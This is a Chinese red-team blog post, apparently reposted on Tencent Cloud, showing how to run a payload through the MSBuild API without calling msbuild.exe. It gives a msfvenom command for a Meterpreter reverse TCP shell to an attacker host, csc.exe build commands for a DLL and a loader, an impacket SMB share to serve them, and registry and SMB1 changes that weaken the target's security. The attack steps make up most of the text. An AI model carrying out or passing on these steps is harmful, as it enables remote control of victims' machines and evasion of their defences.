前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >RedTeam之msbuild without msbuild

RedTeam之msbuild without msbuild

作者头像
鸿鹄实验室
发布2021-04-15 10:44:11
5910
发布2021-04-15 10:44:11
举报
文章被收录于专栏:鸿鹄实验室鸿鹄实验室

昨天团队的小伙伴交流时提出的技术,记录下复现的过程。

需要的工具去文末下载....

不使用msbuild调用msbuild来构建程序的方法,看操作…

生成一个msf的payload并编码

代码语言:javascript
复制
msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o payload64.bin LHOST=10.0.0.1 LPORT=2000
base64 -i /root/payload64.bin > payload64.txt

然后使用下面的方法得到一个dll文件

代码语言:javascript
复制
C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe /reference:"Microsoft.Build.Framework.dll";"Microsoft.Build.Tasks.v4.0.dll";"Microsoft.Build.Utilities.v4.0.dll" /target:library IEShim.cs

得到dll后将msbuildapicaller.cs 的第60行替换成你smb服务器的程序地址..

smb服务器可以使用impacket开启

代码语言:javascript
复制
impacket-smbserver share `pwd`

当前目录,共享名为share

替换msbuildapicaller.csproj中的shellcode与dll地址

然后编译..

代码语言:javascript
复制
C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe /reference:"Microsoft.Build.Framework.dll";"Microsoft.Build.dll";"Microsoft.Build.Engine.dll";"Microsoft.Build.Utilities.v4.0.dll";"System.Runtime.dll" /target:exe msbuildapicaller.cs

得到exe文件,可以使用Assembly MSBuildApiCaller.exe去执行..

msf上线….

显示的效果..

具体实现原理

需要注意的点:

1、程序默认为base64编码,可以考虑更换编码方式,或二次编码。

2、windows10 1079版本无法匿名访问SMB共享文件夹

修改方法为:

(一)注册表修改

代码语言:javascript
复制
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters]
"AllowInsecureGuestAuth"=dword:00000001

(二)开启smb1.0

代码语言:javascript
复制
打开控制面板----启用或关闭Windows功能----开启SMB 1.0功能

参考文章:

https://blog.51cto.com/11728495/2344044

https://pentestlaboratories.com/2020/01/27/msbuild-without-msbuild/ https://github.com/rvrsh3ll/MSBuildAPICaller

觉得不错的,记得点个在看,点个转发哦..

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-04-28,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 鸿鹄实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档